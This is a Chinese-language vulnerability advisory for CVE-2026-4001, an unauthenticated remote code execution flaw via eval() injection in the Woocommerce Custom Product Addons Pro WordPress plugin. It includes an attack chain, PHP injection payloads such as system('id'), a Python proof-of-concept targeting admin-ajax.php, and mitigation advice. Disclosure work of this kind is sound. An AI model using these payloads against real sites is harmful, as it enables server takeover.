CVE-2026-4001 CVSS 9.8 严重

CVE-2026-4001 WordPress插件远程代码执行漏洞

披露日期: 2026-03-24

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-4001

漏洞类型

远程代码执行 (RCE)

CVSS评分

9.8 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Woocommerce Custom Product Addons Pro

漏洞概述

WordPress插件Woocommerce Custom Product Addons Pro在5.4.1及之前的所有版本中存在严重的远程代码执行（RCE）漏洞。该漏洞源于插件在处理自定义定价公式时，直接调用PHP的`eval()`函数执行用户输入的数据。尽管存在简单的HTML过滤机制，但未能阻止PHP代码注入。未经身份验证的攻击者可利用此漏洞，向受影响的文本字段提交恶意构造的数据，从而在服务器端执行任意系统命令，完全控制网站。

技术细节

漏洞位于`includes/process/price.php`文件的`process_custom_formula()`函数中。该插件允许管理员为产品字段设置自定义定价公式（例如使用`{this.value}`占位符）。当用户提交数据时，插件将用户输入直接代入公式并传递给`eval()`函数执行。虽然插件使用了`sanitize_values()`方法进行清理，但这仅移除了HTML标签，并未转义单引号或阻止PHP语句。因此，攻击者可以注入诸如`1);system('ls');//`的payload。当服务器处理请求时，`eval()`会解析并执行该恶意代码，导致服务器被攻陷。

攻击链分析

STEP 1

侦察

攻击者扫描目标网站，识别是否使用了Woocommerce Custom Product Addons Pro插件，并确认其版本是否在5.4.1及以下。

STEP 2

识别利用点

攻击者寻找使用了自定义定价公式的WCPA文本字段，确定提交数据的参数名称和格式。

STEP 3

构造并发送Payload

攻击者构造包含恶意PHP代码的Payload（如`1;system('id');`），并通过HTTP POST请求将其提交给目标接口。

STEP 4

代码执行

服务器端接收数据，由于未对单引号等特殊字符进行转义，恶意代码被传入`eval()`函数并执行，攻击者获取服务器权限。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# PoC for CVE-2026-4001: Woocommerce Custom Product Addons Pro RCE
# Description: Exploits eval() injection in custom pricing formula.
# Target: Unauthenticated users submitting to a product with custom pricing.

target_url = "http://example.com/wp-admin/admin-ajax.php"

# The payload injects PHP code. If the formula is '{this.value}',
# injecting '1; phpinfo();' will execute phpinfo().
# If the formula involves math, breaking out with ') or ;' is needed.
payload = "1; system('whoami'); //" 

data = {
    "action": "wcpa_calculate_price", 
    "product_id": "1",
    "wcpa_field": {
        "value": payload,
        "pricing_type": "custom",
        "formula": "{this.value}" 
    }
}

response = requests.post(target_url, json=data)
if response.status_code == 200:
    print("[+] Payload sent. Check response for execution results.")
    print(response.text)
else:
    print("[-] Request failed.")

影响范围

Woocommerce Custom Product Addons Pro <= 5.4.1

防御指南

临时缓解措施

建议立即检查并更新插件至官方发布的修复版本。在更新前，应限制对WordPress后台及WooCommerce结账页面的访问权限，或通过防火墙规则过滤包含特殊符号（如单引号、分号、括号组合）的用户输入，以阻断针对eval函数的攻击尝试。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表